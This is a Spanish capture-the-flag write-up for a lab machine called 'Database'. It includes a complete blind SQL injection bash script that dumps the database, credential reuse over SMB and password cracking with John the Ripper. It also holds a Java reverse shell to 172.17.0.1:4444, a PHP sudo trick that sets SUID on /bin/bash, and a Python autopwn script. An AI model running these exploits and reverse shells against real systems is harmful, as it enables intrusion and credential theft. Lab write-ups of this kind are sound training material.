> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/database-write-up.md).

# Database write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/wuzqydcPQLmTEQ3dPe9B" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/LqRZJJWB7kWAc8yLUu93" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 22 (SSH), el 80 (HTTP), el 139 (netbios-ssn) y el 445 (netbios-ssn) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador.

<figure><img src="/files/j24IC2jtRoIRLA1N927l" alt=""><figcaption></figcaption></figure>

Encontramos un login, en el cual si probamos a ingresar una inyección SQL típica observamos que es vulnerable:

```plaintext
test' or 1=1 -- -
```

<figure><img src="/files/Cl6E2GhAX2mPAvRhYp7t" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/G72uE982KgxiJ3IaWkHQ" alt=""><figcaption></figcaption></figure>

Por lo que cree un script que explotara la vulnerabilidad mediante **Boolean-based Blind Injection** e imprimirá los datos de la base de datos:

```bash
#!/bin/bash

chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_$"
pos=1
dbname=""
tablename=""
column_name=()

while true; do
  found=false
  for c in $(echo "$chars" | fold -w1); do

    echo -n "Probando posición $pos con caracter '$c'... "

    respuesta=$(curl --path-as-is -i -k -s -X POST \
      -H 'Host: 172.17.0.2' \
      -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' \
      -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
      -H 'Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3' \
      -H 'Accept-Encoding: gzip, deflate, br' \
      -H 'Content-Type: application/x-www-form-urlencoded' \
      -H 'Origin: http://172.17.0.2' \
      -H 'Connection: keep-alive' \
      -H 'Referer: http://172.17.0.2/' \
      -H 'Upgrade-Insecure-Requests: 1' \
      -H 'Priority: u=0, i' \
      -b 'iconSize=32x32; jenkins-timestamper-offset=-3600000; PHPSESSID=jq1j67qt85un9k1t61jpkpmv8u' \
      --data-urlencode "name=test' OR BINARY SUBSTRING((SELECT database()),$pos,1) = '$c' -- -" \
      --data-urlencode "password=aaa" \
      --data-urlencode "submit=" \
      'http://172.17.0.2/index.php' | grep -i "Location:" | cut -d' ' -f2 | tr -d '\r\n')

    sleep 0.001

    if [[ "$respuesta" != "/index.php" ]]; then
      echo "¡Encontrado!: $c"
      dbname+="$c"
      found=true
      break
    else
      echo "no"
    fi

  done

  if ! $found; then
    echo "Fin de nombre de base de datos. Resultado: $dbname"
    echo -e "\033[1;34mNombre de la base de datos:\033[0m $dbname" > resultado.txt
    break
  fi

  ((pos++))
done

pos=1
  
while true; do
  found=false
  for c in $(echo "$chars" | fold -w1); do

    echo -n "Probando posición $pos con caracter '$c'... "

    respuesta=$(curl --path-as-is -i -k -s -X POST \
      -H 'Host: 172.17.0.2' \
      -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' \
      -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
      -H 'Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3' \
      -H 'Accept-Encoding: gzip, deflate, br' \
      -H 'Content-Type: application/x-www-form-urlencoded' \
      -H 'Origin: http://172.17.0.2' \
      -H 'Connection: keep-alive' \
      -H 'Referer: http://172.17.0.2/' \
      -H 'Upgrade-Insecure-Requests: 1' \
      -H 'Priority: u=0, i' \
      -b 'iconSize=32x32; jenkins-timestamper-offset=-3600000; PHPSESSID=jq1j67qt85un9k1t61jpkpmv8u' \
      --data-urlencode "name=test' OR BINARY SUBSTRING( (SELECT table_name FROM information_schema.tables WHERE table_schema='$dbname' LIMIT 1 OFFSET 0), $pos, 1) = '$c' -- -" \
      --data-urlencode "password=aaa" \
      --data-urlencode "submit=" \
      'http://172.17.0.2/index.php' | grep -i "Location:" | cut -d' ' -f2 | tr -d '\r\n')

    sleep 0.001

    if [[ "$respuesta" != "/index.php" ]]; then
      echo "¡Encontrado!: $c"
      tablename+="$c"
      found=true
      break
    else
      echo "no"
    fi

  done

  if ! $found; then
    echo "Fin de nombre de la tabla. Resultado: $tablename"
    echo -e "\033[1;34mNombre de la base de la tabla:\033[0m $tablename" >> resultado.txt
    break
  fi

  ((pos++))
done

pos=1
offset=0
column=""


while true; do
  found=false

  for c in $(echo "$chars" | fold -w1); do

    echo -n "Probando posición $pos con caracter '$c' $offset... "

    respuesta=$(curl --path-as-is -i -k -s -X POST \
      -H 'Host: 172.17.0.2' \
      -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' \
      -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
      -H 'Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3' \
      -H 'Accept-Encoding: gzip, deflate, br' \
      -H 'Content-Type: application/x-www-form-urlencoded' \
      -H 'Origin: http://172.17.0.2' \
      -H 'Connection: keep-alive' \
      -H 'Referer: http://172.17.0.2/' \
      -H 'Upgrade-Insecure-Requests: 1' \
      -H 'Priority: u=0, i' \
      -b 'iconSize=32x32; jenkins-timestamper-offset=-3600000; PHPSESSID=jq1j67qt85un9k1t61jpkpmv8u' \
      --data-urlencode "name=test' OR BINARY SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema='$dbname' AND table_name='$tablename' LIMIT 1 OFFSET $offset), $pos, 1) = '$c' -- - "\
      --data-urlencode "password=aaa" \
      --data-urlencode "submit=" \
      'http://172.17.0.2/index.php' | grep -i "Location:" | cut -d' ' -f2 | tr -d '\r\n')

    sleep 0.001

    if [[ "$respuesta" != "/index.php" ]]; then
      echo "¡Encontrado!: $c"
      column+="$c"
      found=true
      break
    else
      echo "no"
    fi


  done

  if [ -z "$column" ]; then
  
      break

  fi


  if ! $found; then

    column_name+=($column)
    column=""
    let offset+=1
    pos=0
    echo "Fin de nombre de la columnas. Resultado: ${column_name[@]}"

  fi

  ((pos++))
done

echo -e "\033[1;34mNombre de las columnas:\033[0m ${column_name[@]}" >> resultado.txt

offset=0
pos=1
valor=''

while true; do

  found2=false

  for i in ${column_name[@]}; do

    pos=1

    while true; do

      found=false

      for c in $(echo "$chars" | fold -w1); do

        echo -n "Probando posición $pos con caracter '$c' nombre de la columna= $i numero de fila= $offset... "

        respuesta=$(curl --path-as-is -i -k -s -X POST \
        -H 'Host: 172.17.0.2' \
        -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' \
        -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
        -H 'Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3' \
        -H 'Accept-Encoding: gzip, deflate, br' \
        -H 'Content-Type: application/x-www-form-urlencoded' \
        -H 'Origin: http://172.17.0.2' \
        -H 'Connection: keep-alive' \
        -H 'Referer: http://172.17.0.2/' \
        -H 'Upgrade-Insecure-Requests: 1' \
        -H 'Priority: u=0, i' \
        -b 'iconSize=32x32; jenkins-timestamper-offset=-3600000; PHPSESSID=jq1j67qt85un9k1t61jpkpmv8u' \
        --data-urlencode "name=test' or BINARY SUBSTRING( (Select $i from $dbname.$tablename LIMIT 1 OFFSET $offset), $pos, 1) = '$c' -- -" \
        --data-urlencode "password=aaa" \
        --data-urlencode "submit=" \
        'http://172.17.0.2/index.php' | grep -i "Location:" | cut -d' ' -f2 | tr -d '\r\n')

        sleep 0.001

        if [[ "$respuesta" != "/index.php" ]]; then

          echo "¡Encontrado!: $c"
          valor+="$c"
          found=true
          found2=true
          break

        else
          
          echo "no"
        
        fi

      done

      if ! $found; then
        
        if [ ! -z $valor ]; then
        
          echo -e "\033[1;33m$offset | \033[0m\033[1;32m$i\033[0m | \033[1;31m$valor\033[0m" >> resultado.txt
        
        fi

        valor=''
        break
      fi

      ((pos++))

    done

  done

  if ! $found2; then
        
    break

  fi

  ((offset++))

done

cat resultado.txt 
```

Para ejecutar el script solo es necesario darle permisos de ejecución y ejecutarlo de la siguiente manera:

```bash
chmod 0777 sql.sh && ./sql.sh
```

<figure><img src="/files/DsTLDgDt3IGRNqt1DeCU" alt=""><figcaption></figcaption></figure>

Esto indica el usuario `dylan`, el cual tiene como contraseña `KJSDFG789FGSDF78`. Así que vamos a usar **smbmap** para ver si el usuario `dylan` usa la misma contraseña y en caso de que si la use que recursos puede acceder:

```bash
smbmap -H 172.17.0.2 -u "dylan" -p "KJSDFG789FGSDF78" 
```

<figure><img src="/files/fS7pLwSWvgri6hh2nr9S" alt=""><figcaption></figcaption></figure>

Esto indica que podemos acceder al directorio `shared`, en el cual tenemos permisos de escritura y lectura. Por lo que usaremos smbclient para acceder a él:

```bash
smbclient  //172.17.0.2/shared/ -U "dylan%KJSDFG789FGSDF78"
```

<figure><img src="/files/csLKiPdCNIDCR6GcrTKf" alt=""><figcaption></figcaption></figure>

Encontramos dentro la nota `augustus.txt`, la cual contiene lo siguiente:

<figure><img src="/files/RwiUjwi2YW57XgPy81VT" alt=""><figcaption></figcaption></figure>

Sin embargo, contemplamos que la contraseña está hasheada, así que usamos **John the ripper** para romper la contraseña con el siguiente comando:

```bash
john --wordlist=/home/shinki/Escritorio/rockyou.txt --format=Raw-MD5 hash.txt 
```

<figure><img src="/files/gCqmhRc8kpjeF2A6Zxo4" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña es `lovely`, así iniciamos sesión como `augustus` en el servicio SSH.

<figure><img src="/files/wQglaHGfvmPrpAqC22li" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Ahora ejecutamos el comando `sudo -l`, el cual indica que podemos ejecutar el binario `/usr/bin/java` como el usuario `dylan`.

<figure><img src="/files/p25XF54kphceLym7SvFK" alt=""><figcaption></figcaption></figure>

Por lo que crearemos el script `/tmp/shell.java` con el siguiente contenido:

```java
import java.io.IOException;

public class shell {
    public static void main(String[] args) {
        try {
            // Comando para enviar una shell interactiva a 172.17.0.1 por el puerto 4444
            String cmd = "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1";
            
            // Ejecutar el comando en la terminal
            Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
			
			// Esperar a que termine
            process.waitFor();
            
            System.out.println("Intento de establecer una shell reversa completado.");

        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }
}
```

Ahora lo compilamos con el siguiente comando:

```bash
javac shell.java
```

Nos ponemos en escucha por el puerto 4444 y lo ejecutamos como `dylan`:

```bash
sudo -u dylan java shell
```

<figure><img src="/files/bvPgrOyBB0EzZ9tkk4GV" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario `dylan`, encontramos una base de datos de un keepas en el directorio `/home` del usuario. Así que vamos a abrir un servidor con Python para compartirlo con nuestra máquina.

```bash
python3 -m http.server 8080
```

```bash
curl 172.17.0.2:8080/Database.kdbx -o Database.kdbx
```

<figure><img src="/files/Iu0KSffFDLI3QlR7Gkg4" alt=""><figcaption></figcaption></figure>

Una vez descargado, usamos **Keepass2john** para pasar la contraseña hasheada a un archivo.

```bash
keepass2john Database.kdbx > hash.txt
```

Y ahora intentamos romper la contraseña usando **John the ripper** con el siguiente comando:

```bash
john --wordlist=/home/shinki/Escritorio/rockyou.txt hash.txt 
```

<figure><img src="/files/cjpcYJbS9o4vC3deLX2x" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña es `lovely`, así que accedemos a la base de datos con **keepassxc**.

<figure><img src="/files/w78bIUyGHXF9A84gVCH7" alt=""><figcaption></figcaption></figure>

Dentro encontramos la contraseña de bob, la cual es `061fba5bdfc076bb7362616668de87c8`. Así que iniciamos sesión como el usuario `bob`.

<figure><img src="/files/Srpx1RdCJLbBDaRlh6VU" alt=""><figcaption></figcaption></figure>

Ahora que somos el usuario `bob`, ejecutamos el comando `sudo -l`, el cual indica que podemos ejecutar el binario `/usr/bin/php` como usuario `root`.

<figure><img src="/files/OkvMN2UsA05IgCvoYhPk" alt=""><figcaption></figcaption></figure>

Por lo que creamos un script con el siguiente código para darle permisos SUID al binario `/bin/bash`:

```php
<?php

shell_exec('chmod u+s /bin/bash');        
 
?>
```

Y lo ejecutamos como `root`.

<figure><img src="/files/44Daag05qGpGOodnBfL6" alt=""><figcaption></figcaption></figure>

Y ahora ya podemos ejecutar `bash -p` para obtener una shell con privilegios elevados.

<figure><img src="/files/zaMzTLKEpPcFYEUPARt4" alt=""><figcaption></figcaption></figure>

## **Autopwn**

```python
import os
import time
import subprocess



def crear_script_expect():

    print("[+] Creando script.exp...")
    
    contenido = r"""#!/usr/bin/expect
spawn zsh
expect "$ "
send "ssh augustus@172.17.0.2\r"
expect "password: "
sleep 1
send "lovely\r"
sleep 1
expect "$ "
send "su bob\r"
sleep 1
expect "Password: "
send "061fba5bdfc076bb7362616668de87c8\r"
sleep 1
expect "$ "
send {sudo php -r 'system("/bin/bash");'}
send "\r"
sleep 1
send "061fba5bdfc076bb7362616668de87c8\r"
sleep 1
send "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1\r"
interact
"""

    with open("script.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script.exp")

def iniciar_escucha():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script.exp"])

    time.sleep(1)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])

    

def main():

    crear_script_expect()

    iniciar_escucha()

    time.sleep(1)

    os.system("nc -nlvvp 4444")

    os.system("rm script.exp")




if __name__ == "__main__":
    main() 
```
